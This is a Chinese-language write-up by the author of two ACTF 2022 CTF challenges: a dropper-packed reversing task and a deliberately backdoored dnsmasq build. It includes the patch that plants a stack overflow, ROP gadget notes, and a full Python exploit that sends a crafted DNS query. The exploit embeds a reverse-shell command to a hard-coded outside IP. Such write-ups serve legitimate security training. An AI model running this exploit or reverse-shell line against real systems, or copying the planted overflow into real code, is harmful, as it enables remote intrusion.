前序
在xctf分站赛中出了两道题,分别是dropper和master_of_dns,两道题都偏简单一点,dropper解题31个队,master_of_dns解题三个队,可能是第二天放题的缘故。
出题思路
出题源码
自己的题解:https://github.com/zdy/ACTF2022-problem
官方题解:https://github.com/team-s2/ACTF-2022
dropper
使用这个工具Dropper在外面加一层壳,这个方法是绕恶意软件检测模型提出的, 使用异常处理更改代码执行路径(使用异常处理进行虚函数表hook),真实软件是c++面向对象的flag加密代码(使用了大数运算)
考点总结:upx壳+dropper+大数运算+异常处理+虚函数表hook
master_of_dns
使用dnsmasq软件,patch dns域名解析的位置,设置一个栈溢出漏洞(源码修改的非常少),因为是栈溢出,所以利用方法也很多,这里也加了些东西干扰diff
考点总结:dns协议 + dns域名指针的用处 + diff找出漏洞
题解
dropper
- 使用upx加壳工具脱掉壳,如果不能运行,关掉文件的aslr标志位,关闭DYNAMIC_BASE
- 通过dropper搜索相关含义,找到从资源区获取数据并加密的代码,如果可以找到https://github.com/marcusbotacin/Dropper, 那基本离解题更进一步
- 没找到运行PE文件的函数交叉引用,猜测是使用了GetProcAddress,利用交叉引用找到对应地方
- 静态分析找到,或者动态跟踪找到对应的数据,分析解密,写脚本将数据解密,生成真正的可执行文件
- 这里还是比较简单的,就是做了个异或某个数字
- 静态分析找到,或者动态跟踪找到对应的数据,分析解密,写脚本将数据解密,生成真正的可执行文件
- 没找到运行PE文件的函数交叉引用,猜测是使用了GetProcAddress,利用交叉引用找到对应地方
- 动态调试跟踪,可以跟踪到加密和验证的所有过程,并不复杂,这里只是加了反静态分析的方法,利用简单的除0进行异常捕捉进行虚函数表hook,使得静态分析失效
- 可以输入flag后,对text区下断点,获得处理逻辑地址,在IDA中找到之后,设置断点,进行跟踪
- 猜测生成的大数是如何存储的,动态调试找到存储数据的地址空间,并尝试将十六进制转换为十进制,可以看到十进制只以十六进制存储。
- 根据IDA的string,发现BASE64的字符串表,根据交叉引用,找到真正的加密判断地址
- 可以输入flag后,对text区下断点,获得处理逻辑地址,在IDA中找到之后,设置断点,进行跟踪
- 也可以使用动态调试,打开文件,运行到“flag:”,停止当前进程,然后附加到被创建的子进程,就可以动态调试被生成的子进程。
- 解密代码
import base64
res = 834572051814337070469744559761199605121805728622619480039894407167152612470842477813941120780374570205930952883661000998715107231695919001238818879944773516507366865633886966330912156402063735306303966193481658066437563587241718036562480496368592194719092339868512773222711600878782903109949779245500098606570248830570792028831133949440164219842871034275938433
res = res + 57705573952449699620072104055030025886984180500734382250587152417040141679598894
res = res - 71119332457202863671922045224905384620742912949065190274173724688764272313900465
res = res + 55079029772840138145785005601340325789675668817561045403173659223377346727295749
res = res - 14385283226689171523445844388769467232023411467394422980403729848631619308579599
res = res + 80793226935699295824618519685638809874579343342564712419235587177713165502121664
res = res // 7537302706582391238853817483600228733479333152488218477840149847189049516952787
res = res - 17867047589171477574847737912328753108849304549280205992204587760361310317983607
res = res + 55440851777679184418972581091796582321001517732868509947716453414109025036506793
res = res // 11783410410469738048283152171898507679537812634841032055361622989575562121323526
res = res - 64584540291872516627894939590684951703479643371381420434698676192916126802789388
s = ''
while res:
s += chr(res % 128)
res = res // 128
print(base64.b64decode(s))
master_of_dns
- fuzz或者diff找到漏洞,构造漏洞,只在两个地方进行了修改(改动非常小),去除了dnsmasq明显的特征,以及新增几个干扰diff的函数
- 去掉tcp_request,关闭tcp查询,因为使用tcp协议就不用域名指针也可以触发漏洞
- 新增栈溢出
diff --color -Naur dnsmasq-2.86/src/dnsmasq.c dnsmasq-2.86-patch/src/dnsmasq.c
--- dnsmasq-2.86/src/dnsmasq.c 2021-09-09 04:21:22.000000000 +0800
+++ dnsmasq-2.86-patch/src/dnsmasq.c 2022-03-18 16:02:32.425548837 +0800
@@ -1986,13 +1986,14 @@
if ((flags = fcntl(confd, F_GETFL, 0)) != -1)
fcntl(confd, F_SETFL, flags & ~O_NONBLOCK);
- buff = tcp_request(confd, now, &tcp_addr, netmask, auth_dns);
+ //关闭tcp查询
+ //buff = tcp_request(confd, now, &tcp_addr, netmask, auth_dns);
shutdown(confd, SHUT_RDWR);
close(confd);
- if (buff)
- free(buff);
+ //if (buff)
+ //free(buff);
for (s = daemon->servers; s; s = s->next)
if (s->tcpfd != -1)
diff --color -Naur dnsmasq-2.86/src/rfc1035.c dnsmasq-2.86-patch/src/rfc1035.c
--- dnsmasq-2.86/src/rfc1035.c 2021-09-09 04:21:22.000000000 +0800
+++ dnsmasq-2.86-patch/src/rfc1035.c 2022-03-19 16:37:28.636136647 +0800
@@ -19,9 +19,11 @@
int extract_name(struct dns_header *header, size_t plen, unsigned char **pp,
char *name, int isExtract, int extrabytes)
{
+ //这里根据exp的构造调整一下
unsigned char *cp = (unsigned char *)name, *p = *pp, *p1 = NULL;
- unsigned int j, l, namelen = 0, hops = 0;
+ unsigned int j, l,namelen = 0, hops = 0;
int retvalue = 1;
+ unsigned char vul[848];
if (isExtract)
*cp = 0;
@@ -54,6 +56,7 @@
else
*pp = p;
+ memcpy(vul, name, namelen);
return retvalue;
}
根据漏洞构造poc,利用域名指针构造长度大于848长度的域名触发漏洞
- 多次利用域名指针
栈溢出漏洞,使用popen函数执行反弹shel
这里并不是任意长度溢出(点之间最大长度为0x3f),而且域名内不能有\x00和\x2e,最大溢出长度为123个字节
一些利用方法的限制
- mprotect打开可执行权限,写入shellcode,显然溢出长度不够支撑做这些
- orw出flag,参数里会出现\x00字节,也不可行
- 使用execl函数反弹shell,但是最后一个必须是\x00,除非正好栈布局最后一个是\x00,也可以使用int 80来实现,可能123个字节有点不够用
预期利用方式
使用popen函数进行反弹shell,这里只需要两个参数,一个要执行的命令,另一个是操作类型,读或者写,类似popen(char *cmd, char *type)
因为溢出长度的限制,我们添加了几个gadget方便能够达到要求,也考察选手使用gadget的能力
添加一个gadget用来往某个地址写入值,还加了个异或,避免出现\x2e
add eax, 4 pop edx xor edx, 0xffffffff mov dword ptr [eax], edx ret
因为123字节中间会有一个\x2e字节干扰,所以添加一个地址最后一个字节为\x2e的无用gadget
nop ret
上面两个gadget都可以使用ropper或者ROPgadget搜索到
当然这个题也比较开放,可以有多种的getshell方式(大佬说不定会有其他更好的利用方法),目前有一个:https://xuanxuanblingbling.github.io/ctf/pwn/2022/06/29/dns/
利用代码:
import socket
import os
import argparse
import random
import string
from pwn import *
context.arch='i386' #指定架构,不然会报错
# 无需connect服务端,因为发送时候跟上服务端ip和port就行
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
def genRandom(num, slen):
unique_strings = []
while len(unique_strings) < num:
ustring = ''.join(random.choice(string.ascii_lowercase + string.ascii_lowercase + string.digits) for i in range(slen))
if ustring not in unique_strings:
unique_strings.append(ustring)
return unique_strings
def dnsquery(ip, port):
query = os.urandom(2)
query += b'\x01\x00' # Flags: query + Truncated + Recursion Desired + Recursion Available
query += b'\x00\x01' # Questions
query += b'\x00\x00' # Answer RRs
query += b'\x00\x00' # Authority RRs
query += b'\x00\x00'# Additional RRs
# Queries
payload = b'\x3f' * 0x40
for i in range(13):
payload += b'\xc0'
payload += bytes([0xe + i * 2])
payload += b'\x3d'
payload += b'\x41\x41\x41\x41\x41'
popen_addr = 0x804ab40
exit_addr = 0x804ad30
nop_2e_addr = 0x0804A92E
pop_eax_addr = 0x08059d44
w_str_addr = 0x080A6660
update_addr = 0x0804B2B1
bss_addr = 0x80a7070
shell = b'/bin/sh -i >& /dev/tcp/59.63.224.105/9 0>&1'.ljust(44, b'\x00')
value = []
for i in range(0, len(shell), 4):
value.append(u32(shell[i:(i + 4)]))
print(len(value))
payload += flat([pop_eax_addr, bss_addr])
for i in range(6):
payload += flat([update_addr, value[i] ^ 0xffffffff])
payload += b'\x3f'
payload += b'\xa9\x04\x08'
for i in range(6, 11):
payload += flat([update_addr, value[i] ^ 0xffffffff])
payload += flat([popen_addr, exit_addr, bss_addr + 0x4, w_str_addr])
payload += b'\x41\x41\x41\x41'
payload += b'\x00'
print(payload)
query += payload # Name
query += b'\x00\x01' # Type: NS
query += b'\x00\x01'# Class: IN
client.sendto(query, (ip, int(port)))
data, server_addr = client.recvfrom(1024)
print(data)
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-ip', help='ip address', required=True)
parser.add_argument('-port', help='port', required=True)
args = parser.parse_args()
ip = args.ip
port = args.port
dnsquery(ip, port)
if __name__ == '__main__':
main()
总结
此次出题花费了两周时间,从出题的角度感受了下,最后大家做的时候,感觉还是不错的,达到预期了吧,dropper没有被很多人解出来,也起到了签到的目的。